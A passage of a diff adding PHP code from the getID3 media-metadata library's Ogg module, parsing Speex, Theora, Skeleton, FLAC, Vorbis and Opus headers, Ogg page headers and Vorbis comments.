$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['rate']; + $info['speex']['channels'] = $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['nb_channels']; + $info['speex']['vbr'] = (bool) $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['vbr']; + $info['speex']['band_type'] = $this->SpeexBandModeLookup($info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['mode']); + + $info['audio']['sample_rate'] = $info['speex']['sample_rate']; + $info['audio']['channels'] = $info['speex']['channels']; + if ($info['speex']['vbr']) { + $info['audio']['bitrate_mode'] = 'vbr'; + } + + } elseif (substr($filedata, 0, 7) == "\x80".'theora') { + + // http://www.theora.org/doc/Theora.pdf (section 6.2) + + $info['ogg']['pageheader']['theora']['theora_magic'] = substr($filedata, $filedataoffset, 7); // hard-coded to "\x80.'theora' + $filedataoffset += 7; + $info['ogg']['pageheader']['theora']['version_major'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset, 1)); + $filedataoffset += 1; + $info['ogg']['pageheader']['theora']['version_minor'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset, 1)); + $filedataoffset += 1; + $info['ogg']['pageheader']['theora']['version_revision'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset, 1)); + $filedataoffset += 1; + $info['ogg']['pageheader']['theora']['frame_width_macroblocks'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset, 2)); + $filedataoffset += 2; + $info['ogg']['pageheader']['theora']['frame_height_macroblocks'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset, 2)); + $filedataoffset += 2; + $info['ogg']['pageheader']['theora']['resolution_x'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset, 3)); + $filedataoffset += 3; + $info['ogg']['pageheader']['theora']['resolution_y'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset, 3)); + $filedataoffset += 3; + $info['ogg']['pageheader']['theora']['picture_offset_x'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset, 1)); + $filedataoffset += 1; + $info['ogg']['pageheader']['theora']['picture_offset_y'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset, 1)); + $filedataoffset += 1; + $info['ogg']['pageheader']['theora']['frame_rate_numerator'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset, 4)); + $filedataoffset += 4; + $info['ogg']['pageheader']['theora']['frame_rate_denominator'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset, 4)); + $filedataoffset += 4; + $info['ogg']['pageheader']['theora']['pixel_aspect_numerator'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset, 3)); + $filedataoffset += 3; + $info['ogg']['pageheader']['theora']['pixel_aspect_denominator'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset, 3)); + $filedataoffset += 3; + $info['ogg']['pageheader']['theora']['color_space_id'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset, 1)); + $filedataoffset += 1; + $info['ogg']['pageheader']['theora']['nominal_bitrate'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset, 3)); + $filedataoffset += 3; + $info['ogg']['pageheader']['theora']['flags'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset, 2)); + $filedataoffset += 2; + + $info['ogg']['pageheader']['theora']['quality'] = ($info['ogg']['pageheader']['theora']['flags'] & 0xFC00) >> 10; + $info['ogg']['pageheader']['theora']['kfg_shift'] = ($info['ogg']['pageheader']['theora']['flags'] & 0x03E0) >> 5; + $info['ogg']['pageheader']['theora']['pixel_format_id'] = ($info['ogg']['pageheader']['theora']['flags'] & 0x0018) >> 3; + $info['ogg']['pageheader']['theora']['reserved'] = ($info['ogg']['pageheader']['theora']['flags'] & 0x0007) >> 0; // should be 0 + $info['ogg']['pageheader']['theora']['color_space'] = self::TheoraColorSpace($info['ogg']['pageheader']['theora']['color_space_id']); + $info['ogg']['pageheader']['theora']['pixel_format'] = self::TheoraPixelFormat($info['ogg']['pageheader']['theora']['pixel_format_id']); + + $info['video']['dataformat'] = 'theora'; + $info['mime_type'] = 'video/ogg'; + //$info['audio']['bitrate_mode'] = 'abr'; + //$info['audio']['lossless'] = false; + $info['video']['resolution_x'] = $info['ogg']['pageheader']['theora']['resolution_x']; + $info['video']['resolution_y'] = $info['ogg']['pageheader']['theora']['resolution_y']; + if ($info['ogg']['pageheader']['theora']['frame_rate_denominator'] > 0) { + $info['video']['frame_rate'] = (float) $info['ogg']['pageheader']['theora']['frame_rate_numerator'] / $info['ogg']['pageheader']['theora']['frame_rate_denominator']; + } + if ($info['ogg']['pageheader']['theora']['pixel_aspect_denominator'] > 0) { + $info['video']['pixel_aspect_ratio'] = (float) $info['ogg']['pageheader']['theora']['pixel_aspect_numerator'] / $info['ogg']['pageheader']['theora']['pixel_aspect_denominator']; + } + $this->warning('Ogg Theora (v3) not fully supported in this version of getID3 ['.$this->getid3->version().'] -- bitrate, playtime and all audio data are currently unavailable'); + + + } elseif (substr($filedata, 0, 8) == "fishead\x00") { + + // Ogg Skeleton version 3.0 Format Specification + // http://xiph.org/ogg/doc/skeleton.html + $filedataoffset += 8; + $info['ogg']['skeleton']['fishead']['raw']['version_major'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 2)); + $filedataoffset += 2; + $info['ogg']['skeleton']['fishead']['raw']['version_minor'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 2)); + $filedataoffset += 2; + $info['ogg']['skeleton']['fishead']['raw']['presentationtime_numerator'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 8)); + $filedataoffset += 8; + $info['ogg']['skeleton']['fishead']['raw']['presentationtime_denominator'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 8)); + $filedataoffset += 8; + $info['ogg']['skeleton']['fishead']['raw']['basetime_numerator'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 8)); + $filedataoffset += 8; + $info['ogg']['skeleton']['fishead']['raw']['basetime_denominator'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 8)); + $filedataoffset += 8; + $info['ogg']['skeleton']['fishead']['raw']['utc'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 20)); + $filedataoffset += 20; + + $info['ogg']['skeleton']['fishead']['version'] = $info['ogg']['skeleton']['fishead']['raw']['version_major'].'.'.$info['ogg']['skeleton']['fishead']['raw']['version_minor']; + $info['ogg']['skeleton']['fishead']['presentationtime'] = $info['ogg']['skeleton']['fishead']['raw']['presentationtime_numerator'] / $info['ogg']['skeleton']['fishead']['raw']['presentationtime_denominator']; + $info['ogg']['skeleton']['fishead']['basetime'] = $info['ogg']['skeleton']['fishead']['raw']['basetime_numerator'] / $info['ogg']['skeleton']['fishead']['raw']['basetime_denominator']; + $info['ogg']['skeleton']['fishead']['utc'] = $info['ogg']['skeleton']['fishead']['raw']['utc']; + + + $counter = 0; + do { + $oggpageinfo = $this->ParseOggPageHeader(); + $info['ogg']['pageheader'][$oggpageinfo['page_seqno'].'.'.$counter++] = $oggpageinfo; + $filedata = $this->fread($oggpageinfo['page_length']); + $this->fseek($oggpageinfo['page_end_offset']); + + if (substr($filedata, 0, 8) == "fisbone\x00") { + + $filedataoffset = 8; + $info['ogg']['skeleton']['fisbone']['raw']['message_header_offset'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); + $filedataoffset += 4; + $info['ogg']['skeleton']['fisbone']['raw']['serial_number'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); + $filedataoffset += 4; + $info['ogg']['skeleton']['fisbone']['raw']['number_header_packets'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); + $filedataoffset += 4; + $info['ogg']['skeleton']['fisbone']['raw']['granulerate_numerator'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 8)); + $filedataoffset += 8; + $info['ogg']['skeleton']['fisbone']['raw']['granulerate_denominator'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 8)); + $filedataoffset += 8; + $info['ogg']['skeleton']['fisbone']['raw']['basegranule'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 8)); + $filedataoffset += 8; + $info['ogg']['skeleton']['fisbone']['raw']['preroll'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); + $filedataoffset += 4; + $info['ogg']['skeleton']['fisbone']['raw']['granuleshift'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)); + $filedataoffset += 1; + $info['ogg']['skeleton']['fisbone']['raw']['padding'] = substr($filedata, $filedataoffset, 3); + $filedataoffset += 3; + + } elseif (substr($filedata, 1, 6) == 'theora') { + + $info['video']['dataformat'] = 'theora1'; + $this->error('Ogg Theora (v1) not correctly handled in this version of getID3 ['.$this->getid3->version().']'); + //break; + + } elseif (substr($filedata, 1, 6) == 'vorbis') { + + $this->ParseVorbisPageHeader($filedata, $filedataoffset, $oggpageinfo); + + } else { + $this->error('unexpected'); + //break; + } + //} while ($oggpageinfo['page_seqno'] == 0); + } while (($oggpageinfo['page_seqno'] == 0) && (substr($filedata, 0, 8) != "fisbone\x00")); + + $this->fseek($oggpageinfo['page_start_offset']); + + $this->error('Ogg Skeleton not correctly handled in this version of getID3 ['.$this->getid3->version().']'); + //return false; + + } elseif (substr($filedata, 0, 5) == "\x7F".'FLAC') { + // https://xiph.org/flac/ogg_mapping.html + + $info['audio']['dataformat'] = 'flac'; + $info['audio']['bitrate_mode'] = 'vbr'; + $info['audio']['lossless'] = true; + + $info['ogg']['flac']['header']['version_major'] = ord(substr($filedata, 5, 1)); + $info['ogg']['flac']['header']['version_minor'] = ord(substr($filedata, 6, 1)); + $info['ogg']['flac']['header']['header_packets'] = getid3_lib::BigEndian2Int(substr($filedata, 7, 2)) + 1; // "A two-byte, big-endian binary number signifying the number of header (non-audio) packets, not including this one. This number may be zero (0x0000) to signify 'unknown' but be aware that some decoders may not be able to handle such streams." + $info['ogg']['flac']['header']['magic'] = substr($filedata, 9, 4); + if ($info['ogg']['flac']['header']['magic'] != 'fLaC') { + $this->error('Ogg-FLAC expecting "fLaC", found "'.$info['ogg']['flac']['header']['magic'].'" ('.trim(getid3_lib::PrintHexBytes($info['ogg']['flac']['header']['magic'])).')'); + return false; + } + $info['ogg']['flac']['header']['STREAMINFO_bytes'] = getid3_lib::BigEndian2Int(substr($filedata, 13, 4)); + $info['flac']['STREAMINFO'] = getid3_flac::parseSTREAMINFOdata(substr($filedata, 17, 34)); + if (!empty($info['flac']['STREAMINFO']['sample_rate'])) { + $info['audio']['bitrate_mode'] = 'vbr'; + $info['audio']['sample_rate'] = $info['flac']['STREAMINFO']['sample_rate']; + $info['audio']['channels'] = $info['flac']['STREAMINFO']['channels']; + $info['audio']['bits_per_sample'] = $info['flac']['STREAMINFO']['bits_per_sample']; + $info['playtime_seconds'] = $info['flac']['STREAMINFO']['samples_stream'] / $info['flac']['STREAMINFO']['sample_rate']; + } + + } else { + + $this->error('Expecting one of "vorbis", "Speex", "OpusHead", "vorbis", "fishhead", "theora", "fLaC" identifier strings, found "'.substr($filedata, 0, 8).'"'); + unset($info['ogg']); + unset($info['mime_type']); + return false; + + } + + // Page 2 - Comment Header + $oggpageinfo = $this->ParseOggPageHeader(); + $info['ogg']['pageheader'][$oggpageinfo['page_seqno']] = $oggpageinfo; + + switch ($info['audio']['dataformat']) { + case 'vorbis': + $filedata = $this->fread($info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_length']); + $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['packet_type'] = getid3_lib::LittleEndian2Int(substr($filedata, 0, 1)); + $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['stream_type'] = substr($filedata, 1, 6); // hard-coded to 'vorbis' + + $this->ParseVorbisComments(); + break; + + case 'flac': + $flac = new getid3_flac($this->getid3); + if (!$flac->parseMETAdata()) { + $this->error('Failed to parse FLAC headers'); + return false; + } + unset($flac); + break; + + case 'speex': + $this->fseek($info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_length'], SEEK_CUR); + $this->ParseVorbisComments(); + break; + + case 'opus': + $filedata = $this->fread($info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_length']); + $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['stream_type'] = substr($filedata, 0, 8); // hard-coded to 'OpusTags' + if(substr($filedata, 0, 8) != 'OpusTags') { + $this->error('Expected "OpusTags" as header but got "'.substr($filedata, 0, 8).'"'); + return false; + } + + $this->ParseVorbisComments(); + break; + + } + + // Last Page - Number of Samples + if (!getid3_lib::intValueSupported($info['avdataend'])) { + + $this->warning('Unable to parse Ogg end chunk file (PHP does not support file operations beyond '.round(PHP_INT_MAX / 1073741824).'GB)'); + + } else { + + $this->fseek(max($info['avdataend'] - $this->getid3->fread_buffer_size(), 0)); + $LastChunkOfOgg = strrev($this->fread($this->getid3->fread_buffer_size())); + if ($LastOggSpostion = strpos($LastChunkOfOgg, 'SggO')) { + $this->fseek($info['avdataend'] - ($LastOggSpostion + strlen('SggO'))); + $info['avdataend'] = $this->ftell(); + $info['ogg']['pageheader']['eos'] = $this->ParseOggPageHeader(); + $info['ogg']['samples'] = $info['ogg']['pageheader']['eos']['pcm_abs_position']; + if ($info['ogg']['samples'] == 0) { + $this->error('Corrupt Ogg file: eos.number of samples == zero'); + return false; + } + if (!empty($info['audio']['sample_rate'])) { + $info['ogg']['bitrate_average'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / ($info['ogg']['samples'] / $info['audio']['sample_rate']); + } + } + + } + + if (!empty($info['ogg']['bitrate_average'])) { + $info['audio']['bitrate'] = $info['ogg']['bitrate_average']; + } elseif (!empty($info['ogg']['bitrate_nominal'])) { + $info['audio']['bitrate'] = $info['ogg']['bitrate_nominal']; + } elseif (!empty($info['ogg']['bitrate_min']) && !empty($info['ogg']['bitrate_max'])) { + $info['audio']['bitrate'] = ($info['ogg']['bitrate_min'] + $info['ogg']['bitrate_max']) / 2; + } + if (isset($info['audio']['bitrate']) && !isset($info['playtime_seconds'])) { + if ($info['audio']['bitrate'] == 0) { + $this->error('Corrupt Ogg file: bitrate_audio == zero'); + return false; + } + $info['playtime_seconds'] = (float) ((($info['avdataend'] - $info['avdataoffset']) * 8) / $info['audio']['bitrate']); + } + + if (isset($info['ogg']['vendor'])) { + $info['audio']['encoder'] = preg_replace('/^Encoded with /', '', $info['ogg']['vendor']); + + // Vorbis only + if ($info['audio']['dataformat'] == 'vorbis') { + + // Vorbis 1.0 starts with Xiph.Org + if (preg_match('/^Xiph.Org/', $info['audio']['encoder'])) { + + if ($info['audio']['bitrate_mode'] == 'abr') { + + // Set -b 128 on abr files + $info['audio']['encoder_options'] = '-b '.round($info['ogg']['bitrate_nominal'] / 1000); + + } elseif (($info['audio']['bitrate_mode'] == 'vbr') && ($info['audio']['channels'] == 2) && ($info['audio']['sample_rate'] >= 44100) && ($info['audio']['sample_rate'] <= 48000)) { + // Set -q N on vbr files + $info['audio']['encoder_options'] = '-q '.$this->get_quality_from_nominal_bitrate($info['ogg']['bitrate_nominal']); + + } + } + + if (empty($info['audio']['encoder_options']) && !empty($info['ogg']['bitrate_nominal'])) { + $info['audio']['encoder_options'] = 'Nominal bitrate: '.intval(round($info['ogg']['bitrate_nominal'] / 1000)).'kbps'; + } + } + } + + return true; + } + + /** + * @param string $filedata + * @param int $filedataoffset + * @param array $oggpageinfo + * + * @return bool + */ + public function ParseVorbisPageHeader(&$filedata, &$filedataoffset, &$oggpageinfo) { + $info = &$this->getid3->info; + $info['audio']['dataformat'] = 'vorbis'; + $info['audio']['lossless'] = false; + + $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['packet_type'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)); + $filedataoffset += 1; + $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['stream_type'] = substr($filedata, $filedataoffset, 6); // hard-coded to 'vorbis' + $filedataoffset += 6; + $info['ogg']['bitstreamversion'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); + $filedataoffset += 4; + $info['ogg']['numberofchannels'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)); + $filedataoffset += 1; + $info['audio']['channels'] = $info['ogg']['numberofchannels']; + $info['ogg']['samplerate'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); + $filedataoffset += 4; + if ($info['ogg']['samplerate'] == 0) { + $this->error('Corrupt Ogg file: sample rate == zero'); + return false; + } + $info['audio']['sample_rate'] = $info['ogg']['samplerate']; + $info['ogg']['samples'] = 0; // filled in later + $info['ogg']['bitrate_average'] = 0; // filled in later + $info['ogg']['bitrate_max'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); + $filedataoffset += 4; + $info['ogg']['bitrate_nominal'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); + $filedataoffset += 4; + $info['ogg']['bitrate_min'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); + $filedataoffset += 4; + $info['ogg']['blocksize_small'] = pow(2, getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)) & 0x0F); + $info['ogg']['blocksize_large'] = pow(2, (getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)) & 0xF0) >> 4); + $info['ogg']['stop_bit'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)); // must be 1, marks end of packet + + $info['audio']['bitrate_mode'] = 'vbr'; // overridden if actually abr + if ($info['ogg']['bitrate_max'] == 0xFFFFFFFF) { + unset($info['ogg']['bitrate_max']); + $info['audio']['bitrate_mode'] = 'abr'; + } + if ($info['ogg']['bitrate_nominal'] == 0xFFFFFFFF) { + unset($info['ogg']['bitrate_nominal']); + } + if ($info['ogg']['bitrate_min'] == 0xFFFFFFFF) { + unset($info['ogg']['bitrate_min']); + $info['audio']['bitrate_mode'] = 'abr'; + } + return true; + } + + /** + * @link http://tools.ietf.org/html/draft-ietf-codec-oggopus-03 + * + * @param string $filedata + * @param int $filedataoffset + * @param array $oggpageinfo + * + * @return bool + */ + public function ParseOpusPageHeader(&$filedata, &$filedataoffset, &$oggpageinfo) { + $info = &$this->getid3->info; + $info['audio']['dataformat'] = 'opus'; + $info['mime_type'] = 'audio/ogg; codecs=opus'; + + /** @todo find a usable way to detect abr (vbr that is padded to be abr) */ + $info['audio']['bitrate_mode'] = 'vbr'; + + $info['audio']['lossless'] = false; + + $info['ogg']['pageheader']['opus']['opus_magic'] = substr($filedata, $filedataoffset, 8); // hard-coded to 'OpusHead' + $filedataoffset += 8; + $info['ogg']['pageheader']['opus']['version'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)); + $filedataoffset += 1; + + if ($info['ogg']['pageheader']['opus']['version'] < 1 || $info['ogg']['pageheader']['opus']['version'] > 15) { + $this->error('Unknown opus version number (only accepting 1-15)'); + return false; + } + + $info['ogg']['pageheader']['opus']['out_channel_count'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)); + $filedataoffset += 1; + + if ($info['ogg']['pageheader']['opus']['out_channel_count'] == 0) { + $this->error('Invalid channel count in opus header (must not be zero)'); + return false; + } + + $info['ogg']['pageheader']['opus']['pre_skip'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 2)); + $filedataoffset += 2; + + $info['ogg']['pageheader']['opus']['input_sample_rate'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); + $filedataoffset += 4; + + //$info['ogg']['pageheader']['opus']['output_gain'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 2)); + //$filedataoffset += 2; + + //$info['ogg']['pageheader']['opus']['channel_mapping_family'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)); + //$filedataoffset += 1; + + $info['opus']['opus_version'] = $info['ogg']['pageheader']['opus']['version']; + $info['opus']['sample_rate_input'] = $info['ogg']['pageheader']['opus']['input_sample_rate']; + $info['opus']['out_channel_count'] = $info['ogg']['pageheader']['opus']['out_channel_count']; + + $info['audio']['channels'] = $info['opus']['out_channel_count']; + $info['audio']['sample_rate_input'] = $info['opus']['sample_rate_input']; + $info['audio']['sample_rate'] = 48000; // "All Opus audio is coded at 48 kHz, and should also be decoded at 48 kHz for playback (unless the target hardware does not support this sampling rate). However, this field may be used to resample the audio back to the original sampling rate, for example, when saving the output to a file." -- https://mf4.xiph.org/jenkins/view/opus/job/opusfile-unix/ws/doc/html/structOpusHead.html + return true; + } + + /** + * @return array|false + */ + public function ParseOggPageHeader() { + // http://xiph.org/ogg/vorbis/doc/framing.html + $oggheader = array(); + $oggheader['page_start_offset'] = $this->ftell(); // where we started from in the file + + $filedata = $this->fread($this->getid3->fread_buffer_size()); + $filedataoffset = 0; + while ((substr($filedata, $filedataoffset++, 4) != 'OggS')) { + if (($this->ftell() - $oggheader['page_start_offset']) >= $this->getid3->fread_buffer_size()) { + // should be found before here + return false; + } + if ((($filedataoffset + 28) > strlen($filedata)) || (strlen($filedata) < 28)) { + if ($this->feof() || (($filedata .= $this->fread($this->getid3->fread_buffer_size())) === '')) { + // get some more data, unless eof, in which case fail + return false; + } + } + } + $filedataoffset += strlen('OggS') - 1; // page, delimited by 'OggS' + + $oggheader['stream_structver'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)); + $filedataoffset += 1; + $oggheader['flags_raw'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)); + $filedataoffset += 1; + $oggheader['flags']['fresh'] = (bool) ($oggheader['flags_raw'] & 0x01); // fresh packet + $oggheader['flags']['bos'] = (bool) ($oggheader['flags_raw'] & 0x02); // first page of logical bitstream (bos) + $oggheader['flags']['eos'] = (bool) ($oggheader['flags_raw'] & 0x04); // last page of logical bitstream (eos) + + $oggheader['pcm_abs_position'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 8)); + $filedataoffset += 8; + $oggheader['stream_serialno'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); + $filedataoffset += 4; + $oggheader['page_seqno'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); + $filedataoffset += 4; + $oggheader['page_checksum'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); + $filedataoffset += 4; + $oggheader['page_segments'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)); + $filedataoffset += 1; + $oggheader['page_length'] = 0; + for ($i = 0; $i < $oggheader['page_segments']; $i++) { + $oggheader['segment_table'][$i] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)); + $filedataoffset += 1; + $oggheader['page_length'] += $oggheader['segment_table'][$i]; + } + $oggheader['header_end_offset'] = $oggheader['page_start_offset'] + $filedataoffset; + $oggheader['page_end_offset'] = $oggheader['header_end_offset'] + $oggheader['page_length']; + $this->fseek($oggheader['header_end_offset']); + + return $oggheader; + } + + /** + * @link http://xiph.org/vorbis/doc/Vorbis_I_spec.html#x1-810005 + * + * @return bool + */ + public function ParseVorbisComments() { + $info = &$this->getid3->info; + + $OriginalOffset = $this->ftell(); + $commentdata = null; + $commentdataoffset = 0; + $VorbisCommentPage = 1; + $CommentStartOffset = 0; + + switch ($info['audio']['dataformat']) { + case 'vorbis': + case 'speex': + case 'opus': + $CommentStartOffset = $info['ogg']['pageheader'][$VorbisCommentPage]['page_start_offset']; // Second Ogg page, after header block + $this->fseek($CommentStartOffset); + $commentdataoffset = 27 + $info['ogg']['pageheader'][$VorbisCommentPage]['page_segments']; + $commentdata = $this->fread(self::OggPageSegmentLength($info['ogg']['pageheader'][$VorbisCommentPage], 1) + $commentdataoffset); + + if ($info['audio']['dataformat'] == 'vorbis') { + $commentdataoffset += (strlen('vorbis') + 1); + } + else if ($info['audio']['dataformat'] == 'opus') { + $commentdataoffset += strlen('OpusTags'); + } + + break; + + case 'flac': + $CommentStartOffset = $info['flac']['VORBIS_COMMENT']['raw']['offset'] + 4; + $this->fseek($CommentStartOffset); + $commentdata = $this->fread($info['flac']['VORBIS_COMMENT']['raw']['block_length']); + break; + + default: + return false; + } + + $VendorSize = getid3_lib::LittleEndian2Int(substr($commentdata, $commentdataoffset, 4)); + $commentdataoffset += 4; + + $info['ogg']['vendor'] = substr($commentdata, $commentdataoffset, $VendorSize); + $commentdataoffset += $VendorSize; + + $CommentsCount = getid3_lib::LittleEndian2Int(substr($commentdata, $commentdataoffset, 4)); + $commentdataoffset += 4; + $info['avdataoffset'] = $CommentStartOffset + $commentdataoffset; + + $basicfields = array('TITLE', 'ARTIST', 'ALBUM', 'TRACKNUMBER', 'GENRE', 'DATE', 'DESCRIPTION', 'COMMENT'); + $ThisFileInfo_ogg_comments_raw = &$info['ogg']['comments_raw']; + for ($i = 0; $i < $CommentsCount; $i++) { + + if ($i >= 10000) { + // https://github.com/owncloud/music/issues/212#issuecomment-43082336 + $this->warning('Unexpectedly large number ('.$CommentsCount.') of Ogg comments - breaking after reading '.$i.' comments'); + break; + } + + $ThisFileInfo_ogg_comments_raw[$i]['dataoffset'] = $CommentStartOffset + $commentdataoffset; + + if ($this->ftell() < ($ThisFileInfo_ogg_comments_raw[$i]['dataoffset'] + 4)) { + if ($oggpageinfo = $this->ParseOggPageHeader()) { + $info['ogg']['pageheader'][$oggpageinfo['page_seqno']] = $oggpageinfo; + + $VorbisCommentPage++; + + // First, save what we haven't read yet + $AsYetUnusedData = substr($commentdata, $commentdataoffset); + + // Then take that data off the end + $commentdata = substr($commentdata, 0, $commentdataoffset); + + // Add [headerlength] bytes of dummy data for the Ogg Page Header, just to keep absolute offsets correct + $commentdata .= str_repeat("\x00", 27 + $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_segments']); + $commentdataoffset += (27 + $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_segments']); + + // Finally, stick the unused data back on the end + $commentdata .= $AsYetUnusedData; + + //$commentdata .= $this->fread($info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_length']); + $commentdata .= $this->fread($this->OggPageSegmentLength($info['ogg']['pageheader'][$VorbisCommentPage], 1)); + } + + } + $ThisFileInfo_ogg_comments_raw[$i]['size'] = getid3_lib::LittleEndian2Int(substr($commentdata, $commentdataoffset, 4)); + + // replace avdataoffset with position just after the last vorbiscomment + $info['avdataoffset'] = $ThisFileInfo_ogg_comments_raw[$i]['dataoffset'] + $ThisFileInfo_ogg_comments_raw[$i]['size'] + 4; + + $commentdataoffset += 4; + while ((strlen($commentdata) - $commentdataoffset) < $ThisFileInfo_ogg_comments_raw[$i]['size']) { + if (($ThisFileInfo_ogg_comments_raw[$i]['size'] > $info['avdataend']) || ($ThisFileInfo_ogg_comments_raw[$i]['size'] < 0)) { + $this->warning('Invalid Ogg comment size (comment #'.$i.', claims to be '.number_format($ThisFileInfo_ogg_comments_raw[$i]['size']).' bytes) - aborting reading comments'); + break 2; + } + + $VorbisCommentPage++; + + if ($oggpageinfo = $this->ParseOggPageHeader()) { + $info['ogg']['pageheader'][$oggpageinfo['page_seqno']] = $oggpageinfo; + + // First, save what we haven't read yet + $AsYetUnusedData = substr($commentdata, $commentdataoffset); + + // Then take that data off the end + $commentdata = substr($commentdata, 0, $commentdataoffset); + + // Add [headerlength] bytes of dummy data for the Ogg Page Header, just to keep absolute offsets correct + $commentdata .= str_repeat("\x00", 27 + $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_segments']); + $commentdataoffset += (27 + $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_segments']); + + // Finally, stick the unused data back on the end + $commentdata .= $AsYetUnusedData; + + //$commentdata .= $this->fread($info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_length']); + if (!isset($info['ogg']['pageheader'][$VorbisCommentPage])) { + $this->warning('undefined Vorbis Comment page "'.$VorbisCommentPage.'" at offset '.$this->ftell()); + break; + } + $readlength = self::OggPageSegmentLength($info['ogg']['pageheader'][$VorbisCommentPage], 1); + if ($readlength <= 0) { + $this->warning('invalid length Vorbis Comment page "'.$VorbisCommentPage.'" at offset '.$this->ftell()); + break; + } + $commentdata .= $this->fread($readlength); + + //$filebaseoffset += $oggpageinfo['header_end_offset'] - $oggpageinfo['page_start_offset']; + } else { + $this->warning('failed to ParseOggPageHeader() at offset '.$this->ftell()); + break; + } + } + $ThisFileInfo_ogg_comments_raw[$i]['offset'] = $commentdataoffset; + $commentstring = substr($commentdata, $commentdataoffset, $ThisFileInfo_ogg_comments_raw[$i]['size']); + $commentdataoffset += $ThisFileInfo_ogg_comments_raw[$i]['size']; + + if (!$commentstring) { + + // no comment? + $this->warning('Blank Ogg comment ['.$i.']'); + + } elseif (strstr($commentstring, '=')) { + + $commentexploded = explode('=', $commentstring, 2); + $ThisFileInfo_ogg_comments_raw[$i]['key'] = strtoupper($commentexploded[0]); + $ThisFileInfo_ogg_comments_raw[$i]['value'] = (isset($commentexploded[1]) ? $commentexploded[1] : ''); + + if ($ThisFileInfo_ogg_comments_raw[$i]['key'] == 'METADATA_BLOCK_PICTURE') { + + // http://wiki.xiph.org/VorbisComment#METADATA_BLOCK_PICTURE + // The unencoded format is that of the FLAC picture block. The fields are stored in big endian order as in FLAC, picture data is stored according to the relevant standard. + // http://flac.sourceforge.net/format.html#metadata_block_picture + $flac = new getid3_flac($this->getid3); + $flac->setStringMode(base64_decode($ThisFileInfo_ogg_comments_raw[$i]['value'])); + $flac->parsePICTURE(); + $info['ogg']['comments']['picture'][] = $flac->getid3->info['flac']['PICTURE'][0]; + unset($flac); + + } elseif 